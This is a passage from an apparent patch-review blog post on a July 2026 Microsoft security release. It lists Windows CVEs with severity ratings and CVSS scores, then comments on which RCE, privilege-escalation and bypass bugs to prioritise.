CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server 